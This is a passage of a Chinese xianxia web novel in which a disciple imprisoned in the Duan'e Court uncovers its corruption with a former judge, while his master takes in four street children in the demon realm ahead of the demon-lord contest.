而被人惦记的应悦曦已然拿着锁链来到了城外,她抬起头望着不远处的森然树林,那里似有几道人影在其中若隐若现,带着细碎金光的锁链游走在林间,而她的火系灵力也在这一刻被染成金色。 “贼子!按照断恶庭第一千三百条,不可随意劫人,若犯,当将其带回断恶庭定罪!!” 轰隆——!!! 海浪搅乱得热烈,海里的生物也跟着蠢蠢欲动着。 锁链于海中摇摆,金色的纹路一点一点将它的形状所刻画,四周的妖魔也因此发出痛苦的惨叫,这让唐山玉不由得捂住了耳朵,旁边的付尘看着这一幕,伸出长尾将唐山玉护在里头后便叹了一声: “庭下罪恶积压已久,就算是神明留下的残余力量也难将其消减。” 这个时候付尘说话语调与之前截然不同,而也在此时,唐山玉看到付尘的身上出现了和那些锁链一样的金色纹路。 “小友啊。”付尘轻笑了一声:“柳鹤所说的入局者便是你么?” …… “……求你了,换回之前的语调吧,我听着好像你下一刻就要把我坑进土里那样。”这是什么老登的语调,唐山玉不允许有人比他还会坑蒙拐骗。 付尘:…… 这小鬼就不能让他正经一点吗? 第263章 不公何处有 金色的咒文于海里浮现出来,如点点星辰于四周那黑色的混水亮起,而唐山玉眼眸里映出此刻的海底辰光。 最为瞩目的是付尘身上的金咒,那些金咒缠绕在他的身上,如同那些妖魔身上的锁链那样。 它们都被禁锢着。 这是唐山玉脑海里的第一个想法。 在来断恶庭之前,他就一直在想断恶庭为什么会叫断恶庭呢?是因为仇恨罪恶,容不得一粒沙子?或许是这样,但…… 不由得,唐山玉想起在进入断恶庭之前做的功课,他翻看着有关于断恶庭的书籍,许是烛火烧得有些慢,灯的微光落得过于安静了,在那时,他对坐在旁边的顾延清随口问了一个问题: “断恶庭在最初的时候是什么样的?” 顾延清闻言一顿,他像是在深思也像在回忆,最后,他平静地应了一句:“平天下一切不平,为一切不公明意,亦要……断天下泣血罪。” 说着,顾延清也就摇了摇头:“这件事或许我师父……也就是你师祖会更清楚一些,这些事也都是他和我说的。” “断恶庭是由当年因那场大战惨烈留下来的少年们建立的,因为他们仇恨魔族,仇恨魔族所造成的罪,恨这一切的源头。” 顾延清的声音很轻,似月下清风荡漾出湖面的涟漪,银水层层叠叠,击碎着明月又再度聚起。 “但与此同时,他们也有着豪情壮志,他们认为世界应当不再有像他们这样的人,仇恨的滋味并不好受,那是会让人成魔的绝望。” “而他们又是如此痛恨着魔……” “这,就是断恶庭最初的样子,但如今的断恶庭……”顾延清想了想,叹了口气:“或许有人已成了当初庭上要断的恶。” “……顾师伯,那么塔下妖魔又是怎么回事?因为杀不掉就这样压着吗?” “嗯,杀死会有点麻烦,四溢的魔气很难处理,你当初应当也见识过了,就算那样的傀儡再有几十几百个都很难消除。”顾延清也就给人继续解释着,“不过断恶庭多年以来镇压得很好,至少目前为止我们都没有察觉到那塔里的魔气渗透出来。” “会不会都在塔里?”唐山玉想起魔气影响人的思维和情绪的奇妙作用,提出了这个怀疑。 “你进去不就知道了?”顾延清说起这个事就皱了皱眉头,用那种看不懂事孩子的眼神再次望了过来,这望得唐山玉心虚地移开视线。 “好吧,到时候我就知道了,有些法器我需要带几件去。”唐山玉打算准备就绪就去断恶庭打仗了,虽然这仗应当不好打。 “嗯,你把那几件查不出来的带去。”顾延清说着,又顿了顿:“你师父离开的时候也拿了不少。” “……我知道了。”在提起秦兰时的时候,唐山玉的笑容淡了不少,只不过他还是应了一声。 回到现在,唐山玉眼睁睁地看着付尘身上的金咒与四周妖魔的金咒亮起,那光芒的耀眼让人不由得眯起眼,紧接着,他不由得开口问道:“不应该啊……” “什么?” “神明的眼睛当真那么有用?我不信……就算是龙族的龙啸在最后的时候也因为太久了而耗尽了里头的神力,就算没有耗尽也应该……断恶庭它怎么可能到现在还能………” “……你察觉到了不是吗?”付尘笑了一声,抬起手,手上的金咒顺着他的手臂流出,最后密密麻麻地连接在困住妖魔那些锁链身上。 “神明的眼睛,是,庭里的大家都那么说它,说是眼睛,不过是当初神明残余的神力落在了此地,而断恶庭利用它困住了不少妖魔。”说到这里,付尘停顿了一下,随后他笑了一声:“真正组成神明的眼睛……是庭里被关押的恶人。” 不知道是不是错觉,唐山玉总觉得付尘在恶人这个词上咬字重了些许。 “当今灵力本就在减少,神明的神力不过是比灵力更加强大,更加持久罢了。”付尘用尾巴将唐山玉卷起,然后带到了另一边,紧接着他们所在的那块地被因为痛苦撞来撞去的妖魔给砸碎了。 “……”抱住蛇尾的唐山玉看到那边的地板紧张地咽了一下口水,“你到底是什么身份?看你这样熟练的样子,可不像普通被关在牢里的普通罪人。” “…这个啊。”付尘想了想,倒也不是特别需要隐瞒的事情,紧接着,唐山玉听到这蛇轻描淡写地来了一句:“算是曾经的审判官?” “……?” “审判官很多,我只是其中之一,算不得很厉害。”付尘伸出一根手指晃了晃,“至于我为什么会是罪人……” 说到这样,付尘顿了顿,声音轻叹不可闻:“因为我审判了无罪之人,逼得那个人拔剑自刎为自证清白而死,在那之后我便离开了这个位置,自罚为罪人。” “自罚?”唐山玉又抓住关键字眼开始提问了。 “……”付尘没有在这个话题上停留很久,而是转而问唐山玉:“你要寻的东西是什么?” “你要我入的局又是什么局?你和柳鹤又做了什么交易?”唐山玉抱臂看着他,一副等对方开口自己才愿意开口的模样。 “…入的局自然是断恶庭里的局,柳鹤说了你既然入了那么就肯定有办法出去……嗯,他是那么说的…”付尘稍作思索一番,然后就继续道:“没想到你们不熟,就那么相信对方了吗?” 这不是相信,这是互坑。 唐山玉很想纠正这一点,但是又觉得此时纠正不是很对,万一付尘很认同柳鹤这个人怎么办呢,所以现在还是顺从一下好了。 “你需要我什么?”唐山玉选择先从利益出发,不然这真的很不安心,果然有共同的利益才能让人信服。 “……如今的断恶庭已然不是原来的模样,我想它变回去,如果不能,绝不能留,真正的断恶庭里不应有恶逍遥自在。” “而这需要你的帮助,具体要如何去做……”付尘垂下眸,衣摆于水里随波逐流。 其实来断恶庭只是想不破不立的唐山玉擦了擦不存在的汗,虽然流汗的话在水里也不会看出来就是了。 “柳鹤说你会有计划………” 唐山玉:……??? 柳鹤!!!! 你果然还是有点毛病!! 到底是胡长乐收集来的信息给你的自信,还是你自己看出来的自信!! 真当这个叫唐山玉的家伙真的能无所不能吗! “开玩笑的。”在唐山玉面临发疯之际,只见付尘摇了摇头,然后一本正经地接着道:“我所需要的,只是一点……星火。” “如何燃烧全看他们……” 断恶庭需要一次大众所能看到不公。 它理应声势浩大。 就像当初那群少年高喊着要斩尽天下一切不公那样。 …… 断恶庭有着审判一切罪恶的权利。 但权利不代表着其中有着绝对公正,而缺少人味的绝对的公正或许也应是一种难以形容的罪恶。 那……真正的罪恶,又该是何种的模样? 秦兰时正处于欢声笑语的魔域里,在这里,四处都有着罪恶的影子,他略微压低帽檐,将自己此时的神情藏在阴影下,很好地与四周融为一体。 那边的人笑着哭着被赶出了醉金窟,将脑袋磕破了,流血了,哀求着说他下次一定会赢,并且将赌上自己的家人。 嬉笑的女人逗弄着怀抱着自己的男人,挽着他,将其带入一场温香软玉的梦,可梦到极致后,男人便成了女子的裙下亡魂,女人拿起那还在跳动的心脏,她笑起来的时候如同索命厉鬼。 手脚被绑上红绸的女子正如同木偶一样在台上跳着舞,不停地跳着,就算脚上已然流了血,台下的客人欢快不已,他们撒着漫天金钱让人再来一曲。 如果要用基建游戏去评价这座城镇,那么这座城镇的罪恶值已经高得不像话。 当然,现在这些都不是最要紧的…… 秦兰时本来想找个地方落脚的,但是此刻却被眼前的几个小孩拦住了去路,水缸里一个,墙上一个,草垛里一个,面前拿着小刀的一个。 抢劫啊? 还是小孩儿? 秦兰时想了想,并且还拿出铜镜看了一眼自己的脸,哦,没事了,他伪装了一下,不是自己原来那张好看的脸。 但就算换一张脸,他看上去就很好惹了吗!!! 秦兰时握紧了拳头,打算给魔域的这几个小孩好好上一课,还没上课呢,眼前的小孩扑通一声就倒在了地上,手里的刀也掉了。 秦兰时:? 碰瓷啊!!! 不对,在魔域里头碰瓷有用吗? 还没等秦兰时细想呢,他的身体就比脑子更快地做出动作,在那几个小孩以为秦兰时连晕倒的孩子都不放过的时候……秦兰时本能地把这小孩给扶起来抱在了怀里…… 秦兰时:…… 糟了,他现在好像更好欺负了。 算了,抱都抱了。 秦兰时放弃维持自己的凶狠人设了,就这样把小孩抱起来,看了一眼:“这里最近的医馆在哪里?” “……什么?” “你们伙伴晕了不去看看吗?” “………”墙壁小孩的眼神瞬间复杂起来了:“可是,这里的医馆都是坑人的,贵得要死,你看上去有那么多钱?” “……我看上去没有那么多钱,你们抢我干什么!!!”这下子秦兰时真的怒了。 “……你看着弱。”水缸小孩发话了,他趴在那头,直勾勾地盯着秦兰时看,看得秦兰时都要怀疑起自己的实力来了。 “我知道有个地方可以治好!!”草垛的小孩率先为自己晕倒的同伴发声。 “哪里?”秦兰时眼睛一亮,忙问道。 …… 饭馆里,四个小孩拿着饭碗吃得香喷喷的,这个一筷子肉,那个抢一筷子菜,把自己的腮帮子吃得鼓鼓的,瞧上去好像让自己胖了点。 总之,他们就像八百年没有吃过饭那样,一点都不给刚刚拿起筷子的秦兰时剩。 虽然不是很必要吃饭,但是就是想尝尝味的秦兰时:…… 他堂堂一个化神大修士居然被四个小孩欺负成这样!!还有没有天理啦!!! 第264章 各有方向 一碗饭,可以让小孩吃得一脸满足,喜笑颜开。 一个玩具,却让小孩露出了一种不屑的笑容。 “……你们小孩不应该喜欢这个吗?”秦兰时看着被要求退回去的玩具,顿时感受到这个魔域的奇妙黑暗。 看啊,连孩子都不愿意玩乐了。 “不要,不能吃饱。” “没有用,不如吃的。” “活着都是个问题,还想着玩呢。” 小孩的三连问让秦兰时鸦雀无声,最后,他给孩子们买了一些保存久的食物,可在那之后呢…… 秦兰时蹲在旁边看着这些小孩收起食物那小心翼翼的模样,衬得无所事事的他就像个突入贫民窟的贵公子那样……虽说他也不是个富的,但是也不是特别穷…… 因为强者在魔域里头,就是可以肆意妄为的。 “接下来有什么打算?你们在这里谁也打不过吧?”秦兰时托着下巴,思索着这几个小孩的出路,还没等他思索完,前面的小孩就开口了。 “变强。”那是曾经拦在秦兰时面前的小孩,他说出这话的时候意志非常坚定:“然后就可以成为那些大人们刀,自此后大杀四方。” 秦兰时:? 你变强就只想着给人当刀吗?说得好听是刀,实际上不就是当工具吗? “变好看。”那是曾经躲在草垛的小姑娘,她眨了眨眼,说出的话让秦兰时觉得魔域黑暗得让人发抖:“然后给强大的尊者当女人,这样就可以吃喝穿不愁了。” 秦兰时:?? 这个更不对了,变好看应该给自己看才对,而且…这个女人说得好听,实际上就是玩物吧? “我觉得应该努力一点。”这个水缸小孩相对于稳重一点,他一本正经地点了点头,然后觉得自己这个回答非常对头:“然后给那些大人们当狗,听说大人们的狗都能吃得很好。” 秦兰时:??? 这狗是哪种人的恶趣味!岂有此理!岂有此理!这个魔域这种事情都如此光明正大吗! 最后,只剩下一个小孩,那是曾经趴在墙壁上的孩子,她看了看伙伴们,然后对秦兰时摇了摇头:“我没有想法,因为我们可能都长不大。” 秦兰时:…… 这个更是对未来没有一丝希望。 “…你们名字叫什么?”秦兰时本来是想着给点吃的和钱就转身离开的,但是听完这些孩子的话,他觉得自己要是转身走了,可能一辈子都在想这些孩子未来会怎么样。 为了他自己的良心,他还是管一下事吧。 “名字?我们没有名字。”这下子四个小孩同时摇了摇头,他们异口同声地回答了秦兰时。 “………”秦兰时揉了揉眉心,总觉得这件事越来越不好办了……这辈子他养过的小孩也就唐山玉一个,但是那个也不是真小孩……所以…… …真要养吗? “你要养我们吗?”那个墙壁小孩开口了,她瞧着这个犹豫不决的大人,“我们长大后会成为您最好用的工具。” 其他三个听到这话也是眼睛一亮,连忙也跟着凑上去,并且试探性地拉住秦兰时的衣服。 什么,你说他们道德绑架?在魔域里能够遇到一个能被他们道德绑架的那真是走狗屎运了。 秦兰时:…… 他在魔域里的确要待一段时间,养四个小孩好像也不是不行……而且他也缺少自己人…… “也不是不行……” “大人!!!” “爹!!!” “主人!!!” “……!!!” 四个反应让秦兰时眉头一挑,然后挨个捂嘴,他努力地笑了一下:“嗯,但是现在还不行,我有事要去干,我干完那一票后就回来接你们去吃香的喝辣的。” “大人要去干什么?”变强男孩露出崇拜的眼神。 “爹爹你要去做什么?”变好看小姑娘一副扭捏的模样。 “主人……”努力当狗的小男孩同样眼睛亮亮地看着秦兰时。 “……!”觉得长不大的小姑娘难得露出了些许期待。 “……统一一下称呼,你们就喊我秦叔吧。”秦兰时摸了摸下巴,觉得这个辈分非常好,既显亲切,又能让自己富有威严。 “好的秦叔。”小孩们倒也乖巧。 “哦,我接下来要去参加魔主选拔,到时候你们找个地方待好等我就行。” “……!” 这人还能参加魔主选拔……居然……如此厉害的吗? 小孩们难得震惊了,这个冤大头还有这个实力? 秦兰时看到了毫不掩饰流露出来的震惊四脸,挨个敲了脑袋,敲完后甩了甩手,不满地道:“真的是,你们真是有眼无珠,看不出我所隐藏的强大实力。” “对了,既然你们跟了我,那就要好好学习……先从价值观开始吧。” “什么是价值观?” “是你看待这个世界的眼睛。” …… 应悦曦被捆好了然后坐在地上,锁链被人抢了去握在手里认真打量,捆住她的人都蒙好了脸,压根不给她发现对方真面目的机会。 “你们想干什么?你们要是想找我就找我,绑架人家姑娘算什么本事!有种冲我来,欺负弱小的混蛋!!”就算坐着,应悦曦也依旧骂声不断,她嫉恶如仇的眼神扫视着眼前家伙们。 被看得汗流浃背的叶玄洲正在帮忙检查这个锁链的奇异之处:“咱们这样真的好吗?” 交流是通过传音的,面对应悦曦的厌恶目光依旧若无其事的方安城扒拉一下这锁链子道:“干都干了,事到如今还担忧个什么,虚伪。” 叶玄洲:? “不要以为我现在不敢和你打。”叶玄洲火气一下子就上来了。 “后边再打,现在我们是要看看这个锁链到底有什么特别之处。”张欣雅翻了个白眼,一副嫌弃的模样瞅着这俩男人。 “……各位怎么还在瞎看。”不知道什么时候回来的李行川看着他们苦恼的模样,微微叹了口气,拿过那个锁链晃在应悦曦面前:“说出那些金咒是什么,不然我就杀了那个姑娘。” 不存在的姑娘性命受到了威胁,应悦曦当即开口道:“能有什么特别,那只是我们断恶庭独有的咒文,一次出门画十几道,一次性用品。” “要不是你们人多,你们以为我会轻易被你们抓住??”说到这个应悦曦就气,有种单挑啊,群殴算什么好汉。 “你有试过这些金咒打到人身上会有什么影响吗?”李行川哦了一声,然后笑眯眯继续问。 “这个我怎么知道,有种你们自己试试啊……而且这种金咒用完就没了,我当然省着点花啊。”应悦曦理直气壮地抠门道,“每次出门申请都要过好几天呢。” 李行川耸了耸肩,没有打算现在细究这个问题,他只是选择继续问道:“好吧,其实我们是有目的的,在此之前,我问你,若是断恶庭下有冤案,你该如何?” “断恶庭里不会有冤案。”应悦曦想不想就开口道。 “若有呢?而且,按照目前的处境来看,你应该也明白这个问题你必须要回答。”李行川摇了摇头,然后继续看着人,等待她的回答。 “…………”应悦曦沉默了一下,就一下,她重新抬起头,看着这几个人,她大概明白自己为什么会在这里了:“你们有冤屈要申?” 她没有得到回应,但是这种时候沉默往往代表了肯定。 “既是冤案,那必然是错的。”应悦曦伸长一下脖子,一副洗耳恭听的模样:“告诉我,到底是哪个混账抓了无辜之人。” ……怎么突然事业心上来了。 这好像不是很对吧。 “…这是你的答案吗?”李行川顿了顿,然后继续问。 “你好像对我有误解,我不相信人,我只相信我的判断和公正。”应悦曦嘴角微勾,冲他们笑了一下,那是一种绝对的自信和正义。 …… 随清宗内,顾延清还在处理事务,突地,一阵花香随着门一起闯入其中,来人是一位女子,她着急的面容和顾延清的淡定形成了鲜明的对比。 “…你来了。”顾延清放下手中的笔,抬头看去。 “…秦公子到底是什么情况??还有…他那个徒弟又是怎么回事??阿玉姑娘呢??”这女子毫不犹豫地开口发问着,她一边问一边紧张捏紧手里的帕子道:“不,不可能的……秦公子怎么会……” “祝姑娘。”顾延清稍微打断了一下她的慌张。 而这位姑娘便是18章出现过的祝心俞,相信大家都失忆了吧。 “顾宗主。”祝心俞显然也发现自己方才失了分寸,连忙收敛起慌张失措的神色:“我前些年再次闭关,这些事情我都是听旁人所说,不知顾宗主可否为我解答疑惑?” 祝心俞当年失恋后回到自己的家中,因为内心苦涩越发觉得空虚,而后为了让自己的空虚得到补足,她再次义无反顾地投向修炼的怀抱。 而她的弟子眼睁睁看着自己师父刚刚闭关出来又进去,拦都拦不住。 这不,祝心俞就意思意思闭关个一百多年治疗一下受到的情伤,可在她出来后,就发现这个世界又变了,上次变的是秦兰时和不知道哪里出来的阿玉姑娘卿卿我我,现在变的是秦兰时不仅入魔,甚至还和自己的徒弟玩上了背德恋。 祝心俞的天都塌了。 她的眼光原来那么差吗?这不应该啊,这不可能啊!!! 祝心俞这种心情就和喜欢的东西塌房一样惊恐,她又惊又急,抓起旁边的几个弟子问来问去都是自己不想听的,然后她就急急忙忙直接跑随清宗里来了。 一来就看到勤勤恳恳的顾宗主依旧在自己的工位上,这和祝心俞的记忆里的一模一样,没有一丝变化。 “坐下说。”顾延清屁股不离椅子,依旧坐在他的工位上勤勤恳恳,因为他必须得在这段时间把这些事情忙好。 “好的。”祝心俞老老实实地坐下了。 过了一会儿,祝心俞哭着跑出来了,手帕依旧在脸上擦着眼泪,一边哭一边呜呜呜地说:“秦公子你好惨啊,放心吧,我一定会帮你的,我这就回去让祝家把断恶庭给端了!!!” 额,这倒也不必…… 顾延清想这样说,但是他觉得对方应该只是说说而已,都活了那么多年了,祝心俞会有自己的判断,于是他目送着祝心俞的离去。 他并没有说秦兰时是去当卧底的,他只说秦兰时被魔修逼得入魔的,反正也不算谎话,最后关于祝心俞后边追着问的师徒恋方面…… 顾延清拿出旁边柜子里头的话本子,拍了拍上面的灰,看着上面潇洒地写了水灵灵的几个大字:黑化徒弟强宠白月光师父。 “幸好先前进修了一番。”不然他都不知道怎么编,只是这本好像有点虐身虐心,祝姑娘应该不要紧吧。 另一边,祝心俞回去后就在房间里抱着枕头呜呜地哭,一边哭一边回忆方才顾延清所说的话,然后哽咽声更大了:“你好惨啊秦公子,你为了救爱人居然献出了心头血,甚至还自挖灵根给爱人铸就了一把剑,还把自己的眼睛给了爱人吗,甚至还用肾卖钱……只为他安好吗?” “好不容易在一起了,居然还惨遭分离。” “太感人了呜呜呜。”不过……怎么和她看过的书那么相似,可能这就是命中注定吧。 献出心头血并且自挖灵根就连眼睛和肾也不能幸免的秦兰时突然浑身一抖。 “秦叔,你怎么了?”小孩们疑惑问道。 “没…没有,我只是突然觉得有点冷。”秦兰时搓了搓手臂,总觉得好像有什么人在背后诅咒自己,但是仔细想了想自己敌人挺多的,愣是想不出到底是哪个混蛋。 而故事的另一个主人公唐山玉则是被带回了牢房,而付尘也乖乖地回自己的牢房蹲着,他们静悄悄地走,也静悄悄地回来了。 至于神明的眼睛…… 唐山玉觉得脑子里那个东西想要的东西应该不是神明的眼睛,而是残余的神力,只不过方才他和付尘探查了一遍那里什么也没发现,再找下去估计就要被发现了这才回来躺好。 “……以恶制恶吗?”唐山玉安详地躺好了,但是脑子依旧在活跃地思考着。 是啊,最熟悉恶的,不正是那些恶人。 庭内,鬼怪的影子依旧在月光下乱动着,正悄声无息地滋生着恶意。 距离第二次审判的日子,更近了。 第265章 第二次审判日 眼看着审判日子近了,这觉呢也睡得不是很安稳,唐山玉找完东西后耗尽精力躺下就睡,睡完后呢无聊地看着陌生的天花板在发呆。 虽然外边的事情应该万无一失了,但是这里面的事情也过于无聊了点。 “出来。”唐山玉说这句话那语气像唤狗一样亲切,他一边喊一边伸出手在这里对着这里的地板乱拍。 而被当作狗一样使唤的残魂柳鹤抖了几下,接着,在底下那神秘阵法的闪烁后,唐山玉便在识海里听到了柳鹤的声音。 “来了,啥事啊,是找到东西了吗?”柳鹤懒洋洋地回应着,并且声音里带上些许期待。 “没有你想要的东西,只有游来游去的魔物,非要说和这个有点关系的……”唐山玉顿了顿,总觉得他还得找机会再下去一趟,先看看能不能把那个睡觉的火焰唤醒吧,“等我再去一趟看看。” “什么啊?”柳鹤想着既然没找到喊他干嘛。 “说起来,你认识付尘吗?”唐山玉问起了另一个问题,为了避免对方糊弄他,他提醒了一句:“他说认识你。” “认识哇。”柳鹤想了想,然后道:“我们打交道不多,不过关于他的事情我倒是知道一点,你知道他是审判官才问我的吧?” “是啊,不然普通的罪犯还能让我产生兴趣吗?”唐山玉很坦荡,就比如牢房里其他被关押的犯人,整天叫来叫去,叫完了就在牢房里自闭地歇会,那是真没意思,也不值得他特地去了解。 “嗯,让我想想啊,毕竟我对他的印象不深,最多就是听我几个小弟提起过。”柳鹤认真想了想,就接着道:“据说他是因为审判了无辜者为罪进来的……” “这个我知道,他和我说了,这件事有什么详细一点的版本吗?”唐山玉又开始背靠墙壁地发呆了,坐了一会觉得坐着太累人了,选择躺倒在地上,可是地板又冷又硬……最后他又坐了起来。 “这个啊……”说到这里,柳鹤的语气就神秘起来了,好像唐山玉即将触碰到什么隐秘的东西一样,这就导致柳鹤就连在分享的时候都带上些许兴奋:“听说那被审判的家伙罪名是和魔族私通呢。” “因为拯救了弱小的魔而被强大的人批判为罪。” 不知为何,唐山玉总觉得通过柳鹤慢悠悠地话里,好似能看到那个少年站在审判官前,被那无情的结果批判得不明所以。 “为什么?”而唐山玉也在此时,问出了当初那个少年问出的同样一个问题。 “为什么呢?这的确很让人费解,那些人的思想都太过固执了,在我看来强大保护弱小应该是理所当然才是……”柳鹤说着,不由得笑了一下:“当初长乐姐姐就是这样教我的呢……” 唐山玉:…… “我知道你很喜欢长乐了,但是我现在对这个名字暂时没有想要认真思考的念头,我们继续吧。”唐山玉无比冷静地按照自己此时此刻的情绪对柳鹤进行了要求。 “好好好,那么就是那个人和你一样也提出这个疑问,在当时的审判官就是付尘,据说当初他也是无比固执的家伙,就和你目前看到那几个长老一模一样。”柳鹤在唐山玉看不见的地方以灵魂的形态摇了摇头。 “嗯,的确有几个是这样的,当然更多的好像都是想着利用好让随清宗摔个大跟头的样子。”唐山玉回想了一下,在柳鹤看不着的地方以人类的身份点了点头。 “嗯,所以呢,作为审判官自然按照规矩把那个人带去牢里审讯并且为最后审判做准备了,还有他拯救的那几个弱小的魔族。”柳鹤想着那几个小弟弟说辞继续娓娓道来:“后来呢,发生了一些事。” “什么事?”唐山玉想着这个故事总算到了高潮部分了,当即提起十二分精神。 “大事。”柳鹤想起这件事就笑了,跟个幸灾乐祸的反派一样:“牢里发生了一场罪人的叛乱,虽然不知道当初那些家伙为什么突然摆脱束缚,总之呢那场混乱对断恶庭造成了不少的损失……” “在那场混乱里,那个人救了还是审判官付尘的命,告诉我这个故事的小弟还和我吐槽说没想到乖乖进来的那个少年那么厉害,明明长着一张稚气未脱的脸。” “看上去是位能人啊。”唐山玉听到这里不由得赞叹道:“后来呢?后来那个人怎么样了?” “后来啊……” 那场混乱是少有的断恶庭内部混乱,还是审判官的付尘自然冲至最前,不为别的,也为了他那颗势必斩尽罪恶的心。 不仅仅是出于对罪恶的难以容忍的心态,更是有着血海深仇的付尘自然不会手软,他挥起手上的骨鞭,那是由他亲人血肉所铸就而成的武器,而骨头上还渗着毒,毒物通过血肉进入罪人们的体内,搅乱着他们的精神。 “呃啊啊啊啊!!!”罪人发出惨叫,痛苦不已。 付尘则是甩了甩手上的骨鞭,冰冷地看着下一个………可还没等他反应过来,一股刺骨的寒追着他的背而是上,好似有谁俯于自己耳边低语,那宛若诅咒般的言语刺进他的脑子,一瞬间,他的脑子里好像有无数条虫子在爬,不停撕咬着他。 “呃!!唔!”付尘痛苦至极地弯下腰,扶住脑袋,另一只手还死死地握住骨鞭,并且转头就是一鞭,这一鞭下,他什么都没有打到,那个东西并不在自己的身后。 “这到底是什么……”付尘不知道,他只觉得自己的精神要被这混沌给搅乱得要发疯了,如果晕过去会好受一点吧。 “凝神。”突地,一道极冷的声音呵斥而出,似是划破了什么,付尘感觉到脑子里那道声音一下子就灰飞烟灭,徒留一阵清明。 一团蓝火飞于少年的手上,于漆黑的牢内燃出点点青辉,他的身后燃起了三道青火,而那团漆黑粘稠的物质被青火带走悬浮于少年的手掌心里。 “…怨灵?”少年定神瞧了几眼,然后一把掐灭:“好像不是,它跑了。” “什么跑了?”付尘摇摇晃晃地站直了身子,问他:“你知道那是什么吗?” “不知道,似乎是一种以念为形而存在的魔物。”少年耸了耸肩,然后将那三团青火汇聚于手上,形成一团较大的青火,青火映着少年那模糊难辨的容貌,付尘只听到他含笑着:“你还要继续审判我吗?大审判官?” “……于理,你罪名是和魔族私通,作为审判官我自然要将你关押进牢内,等候庭审。”付尘握紧了手上的骨鞭,然后缓缓对少年举起:“但…于情……你救了我,理应是我的恩人。” “所以?”少年语气略有期待 “你的所做所为并非大过,我会与庭内沟通,还你自由身,但魔族我们依旧会关押于此。” “……”少年沉默。 不知为何,付尘却有点不敢去看少年的眼睛,最后,他听到这少年叹了口气,像是无奈又像是认命那般:“这样啊……” “但,法则是可以更改的。”唐山玉抱臂站于栏杆外,和牢里头的付尘在说话,不知何时他已脱离了掌控,自由地穿梭于断恶庭里,凭借那黑石所带来的能力:“有些制度已然不合适当初战时的制度了,现在的修仙者已学会如何思考何为善,何为恶,而这一切,也正是你们断恶庭曾经教于他们的。” 为弱小者挥剑,为冤者鸣不平。 “不过,暂时沿用也并无不可,但这需要正确的思考。”唐山玉想起目前魔族的动静,又觉得另错杀不放过也挺对:“而且,现在最重要的问题不是断恶庭的法则应该怎么样更改,而是内部情况……你应该也发现了吧?当初余下的恶念已经汇聚起来了。” “是啊,只是不知道为什么他们不敢有所动作,似乎还在顾及什么……这也是我为何要主动进来的原因。”付尘点了点头便站起来,和唐山玉隔着铁窗泪交谈着:“这是以念而生的新魔物,单凭枷锁是困不住它的,当年他应该也明白这一点……” 同时也是死于这一点。 “这个正好,我会给他们重重的一击的,到时候你找机会解决就好了。”唐山玉自由地隔着铁窗泪给付尘比了个大拇指:“不是快第二次庭审了嘛?只要他们想要的事情没有达成,那么就会有所动作了。” “……你打算做什么?” “不告诉你~不告诉你~好了,我回去了。”唐山玉选择将计划留在心里,当成一份惊喜,只需要时候到了就可以将这份惊喜派给所有人。 很快,第二次庭审日到来了。 这和平常没什么不同,非要说不同的就是聚集在断恶庭的人很多,陆陆续续的,占满了座位,这是一场面对众人的开庭,先用简单的仪式唤醒人们混沌的思想,再让激扬的乐声敲击人们的情绪。 “没想到是用台子升起来的,搞得我要演讲一样,这就是修仙科技吗?”唐山玉左右为男被困在中间,手上拷着铁链,全无要被审判的拘谨。 当然,他是装的。 实际上唐山玉已经想好了,要是计划失败了他就大喊一声顾延清救救我了,接着就可以被顾延清帅气地救走,然后马不停蹄开启断恶庭和随清宗大战了。 不过这是下下策。 而下下策之上还有许多策略。 作为随清宗弟子的审判日,顾延清自然也到场了,他落座于高处,平静地拿起桌上的茶杯……呃,闻了一口茶香就放下,而他周身环绕着下一刻就要提剑乱杀那般的气势。 “…天青尊者?”有想要上来攀谈一番的其他宗门长老颤颤巍巍地喊了一声。 “若是来闲谈,下去。”这是极为冷漠的逐客令了。 顾延清就差用剑指着人说他没有空理会这群杂鱼。 与此同时梁均难得跟在顾延清旁边,并且拿着账本正在写写画画什么,越写他脸上的笑容就越大:“宗主啊,好多钱啊。” “淡定一点,别把开心摆在脸上,现在是正经场合。”宋鸠坐在旁边皱眉提醒道:“要是搞砸了,你就要批我上次申请的溺金草了。” “…那种东西那么贵,申请一批,你在想屁吃,宗门的钱要是给你们这群不管账的家伙挥霍了,我们就一起吃西北风吧。”梁均听到这有关钱的事,就瞬间提高了警惕。 “好了。”顾延清端坐在一旁,低头看着下边的唐山玉,孩子看上去没有受什么苦,想来在罪名还没有定的时候,应该不会私自用刑…… 还没等顾延清想完,就看到那边的唐山玉左脚绊右脚地倒在地上,一副虚脱的模样,而拽着他那俩人始料未及,甚至因为差点被人带下去而略有怒气地狠抓着唐山玉重新站起来。 这下子唐山玉看上去更可怜了。 顾延清:…… 与此同时,隐藏在人群里的江玉瑶等人怒气冲冲地看着这一切,要不是理智告诉他们打不过,他们早就冲上去给人们表演一番热血的劫狱场景了。 “应姑娘那边到底怎么样,真的能行吗?”江玉瑶咬着手帕,眼看就要把手帕给咬断了,而旁边的张欣雅递上了新的不容易断的一条手帕。 于是乎,江玉瑶换了一条手帕泄愤咬之。 “带着他们进去了,应该会找到能够证明断恶庭烂掉的东西吧,而且宗门让带的屏蔽气息的法器也带了。”张欣雅在旁边安慰张玉瑶:“我们接下来只需要……引导他们就可以了。” “我也想进去和他们一起……他们一个医修都不带的想干什么?”江玉瑶还是想去其他战场战斗,但是因为李行川说这里更需要她才留下来的。 “相信他们吧。”张欣雅那么说着,抬起头往那边的唐山玉看去:“正如他相信我们一样。” “山玉哥哥只说相信我们,没说相信你们。”突地,手上的手帕彻底断开了,有那么一瞬间,张欣雅好像看到江玉瑶露出了极为恐怖的表情。 张欣雅:…… 如果张欣雅有现代词汇,那一定明白这种情况……或许就叫毒唯吧。 …… 与此同时,在另一边魔界,魔主选拔正在热火朝天地举办着,而秦兰时叼着根草,吊儿郎当地扛着剑站在了比赛场上。 比起对面那参加生死决斗严峻表情,秦兰时看上去更像是来郊游的。 “阁下未免有点看不起人了。”对手冷冷道。 只见秦兰时愣了一下,随后抬起手,嬉笑地冲人勾了勾手指: “来啊,小~弱~鸡?” 第266章 疯子 这魔主比试很简单,只需要一直赢下去就可以了,赢到最后,以实力证明出自己应得的地位。 能和正宗魔主五五开的秦兰时当然能一拳一个小弱鸡,就这样,秦兰时一路进军,愣是走上了决赛的大舞台……而能够来到决赛,对方自然不容小觑。 怎么着也应该是魔域数一数二的大人物。 而秦兰时也难得对这个人有点眼熟……因为他好像曾经打过来着,名字是什么他不太记得…… “好啊!!果然是你!!!”那对手怒声道:“早在先前我就瞅到你了,怎么,像只老鼠一样被你的宗门给赶出来后狼狈来到魔域里来了?“ 